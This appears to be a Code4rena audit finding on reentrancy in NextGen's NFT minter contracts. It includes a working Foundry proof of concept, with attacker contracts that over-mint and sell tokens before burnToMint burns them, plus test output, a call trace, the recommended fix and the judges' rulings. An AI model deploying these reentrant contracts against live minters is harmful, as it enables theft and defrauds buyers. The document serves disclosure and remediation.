Also found by: 00xSEV, Al-Qa-qa, CaeraDenoir, Jiamin, Juntao, Ruhum, bart1e, circlelooper, crunch, gumgumzum, rishabh, smiling_heretic, ustas
95.7343 USDC - $95.73
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270
An attacker can :
Fixed Price Sale
, Exponential Descending Sale
and Linear Descending Sale
modes.Burn-to-Mint
mode by accepting an offer when onERC721Received
is triggered.forge init --no-git --force
[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/IERC721Receiver.sol"; import "../smart-contracts/AuctionDemo.sol"; contract ReentrantMinter is IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { bytes32[] memory proof; operator.call( abi.encodeCall( NextGenMinterContract.mint, (1, 1, 0, "", address(this), proof, address(0), 0) ) ); return IERC721Receiver.onERC721Received.selector; } } contract ReentrantSeller is IERC721Receiver { address _coreContract; address _buyer; uint256 _burntToken; constructor(address coreContract) { _coreContract = coreContract; } function exploit(address target, address buyer, uint256 tokenId) external { _burntToken = tokenId; _buyer = buyer; target.call( abi.encodeCall( NextGenMinterContract.burnToMint, (1, tokenId, 2, 0) ) ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Simulate sale if (_buyer != address(0) && _burntToken != tokenId) { _coreContract.call( abi.encodeCall( ERC721.transferFrom, (address(this), _buyer, _burntToken) ) ); _buyer = address(0); _burntToken = 0; } return IERC721Receiver.onERC721Received.selector; } } contract MinterContractTest is Test { NextGenMinterContract public minterContract; NextGenAdmins public adminsContract; NextGenCore public coreContract; DelegationManagementContract public nftDelegationContract; NextGenRandomizerNXT public randomizerContract; randomPool public randomsContract; auctionDemo public auctionContract; function setUp() public { vm.warp(365 days); randomsContract = new randomPool(); nftDelegationContract = new DelegationManagementContract(); adminsContract = new NextGenAdmins(); coreContract = new NextGenCore("Test", "TEST", address(adminsContract)); minterContract = new NextGenMinterContract( address(coreContract), address(nftDelegationContract), address(adminsContract) ); randomizerContract = new NextGenRandomizerNXT( address(randomsContract), address(adminsContract), address(coreContract) ); coreContract.addMinterContract(address(minterContract)); auctionContract = new auctionDemo( address(minterContract), address(coreContract), address(adminsContract) ); string[] memory scripts; coreContract.createCollection( "Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.createCollection( "Burn to Mint Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0); coreContract.setCollectionData(2, vm.addr(1), 1, 999, 0); coreContract.addRandomizer(1, address(randomizerContract)); coreContract.addRandomizer(2, address(randomizerContract)); minterContract.initializeBurn(1, 2, true); minterContract.setCollectionCosts( 1, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionCosts( 2, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionPhases( 1, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); minterContract.setCollectionPhases( 2, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); } function testReentrantMint() public { ReentrantMinter reentrantMinter = new ReentrantMinter(); bytes32[] memory proof; minterContract.mint( 1, 1, 0, "", address(reentrantMinter), proof, address(0), 0 ); assertEq(coreContract.balanceOf(address(reentrantMinter)), 1, "Minted more than allowed"); } function testReentrantSell() public { ReentrantSeller reentrantSeller = new ReentrantSeller(address(coreContract)); bytes32[] memory proof; minterContract.mint( 1, 1, 0, "", address(reentrantSeller), proof, address(0), 0 ); assertEq(coreContract.balanceOf(address(reentrantSeller)), 1); reentrantSeller.exploit(address(minterContract), vm.addr(4), 10000000000); assertEq(coreContract.balanceOf(vm.addr(4)), 1, "Token was burned for the buyer"); } }
[⠘] Compiling... No files changed, compilation skipped Running 2 tests for test/MinterContract.t.sol:MinterContractTest [FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541) Logs: Error: Minted more than allowed Error: a == b not satisfied [uint] Left: 341 Right: 1 [FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607) Logs: Error: Token was burned for the buyer Error: a == b not satisfied [uint] Left: 0 Right: 1 Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 114.33ms Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests) Failing tests: Encountered 2 failing tests in test/MinterContract.t.sol:MinterContractTest [FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541) [FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607) Encountered a total of 2 failing tests, 0 tests succeeded
This shows how the token to be burned is transferred to the buyer in the sale simulation then burned afterwards.
├─ [304366] ReentrantSeller::exploit(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) │ ├─ [269503] NextGenMinterContract::burnToMint(1, 10000000000 [1e10], 2, 0) │ │ ├─ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] │ │ │ └─ ← 10000000000 [1e10] │ │ ├─ [534] NextGenCore::viewTokensIndexMax(1) [staticcall] │ │ │ └─ ← 10000000998 [1e10] │ │ ├─ [2534] NextGenCore::viewCirSupply(2) [staticcall] │ │ │ └─ ← 0 │ │ ├─ [2555] NextGenCore::viewTokensIndexMin(2) [staticcall] │ │ │ └─ ← 20000000000 [2e10] │ │ ├─ [2534] NextGenCore::viewTokensIndexMax(2) [staticcall] │ │ │ └─ ← 20000000998 [2e10] │ │ ├─ [534] NextGenCore::viewCirSupply(2) [staticcall] │ │ │ └─ ← 0 │ │ ├─ [555] NextGenCore::viewTokensIndexMin(2) [staticcall] │ │ │ └─ ← 20000000000 [2e10] │ │ ├─ [247071] NextGenCore::burnToMint(20000000000 [2e10], 1, 10000000000 [1e10], 2, 0, ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) │ │ │ ├─ [37223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) │ │ │ │ ├─ [558] randomPool::randomNumber() [staticcall] │ │ │ │ │ └─ ← 571 │ │ │ │ ├─ [8912] randomPool::randomWord() [staticcall] │ │ │ │ │ └─ ← Pawpaw │ │ │ │ ├─ [24851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0xc1c05d04c3dea68a6d0a0a90357a1f5369f155b8646b6261e3346c6fd4db4437) │ │ │ │ │ └─ ← () │ │ │ │ └─ ← () │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 20000000000 [2e10]) │ │ │ ├─ [44464] ReentrantSeller::onERC721Received(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000000, 20000000000 [2e10], 0x) │ │ │ │ ├─ [42544] NextGenCore::transferFrom(ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) │ │ │ │ │ ├─ emit Transfer(from: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 10000000000 [1e10]) │ │ │ │ │ └─ ← () │ │ │ │ └─ ← 0x150b7a02 │ │ │ ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: 0x0000000000000000000000000000000000000000, tokenId: 10000000000 [1e10]) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← ()
Manual review
Follow the Checks / Effects / Interactions pattern (.e.g update tokensMintedAllowlistAddress/tokensMintedPerAddress
before calling _mintProcessing
) / add ReentrancyGuard.
Reentrancy
#0 - c4-pre-sort
2023-11-19T12:10:51Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:02:16Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-11-29T19:54:38Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-11-29T19:55:12Z
alex-ppg marked the issue as duplicate of #1597
#4 - c4-judge
2023-12-05T12:24:54Z
alex-ppg changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-12-08T21:26:44Z
alex-ppg marked the issue as partial-50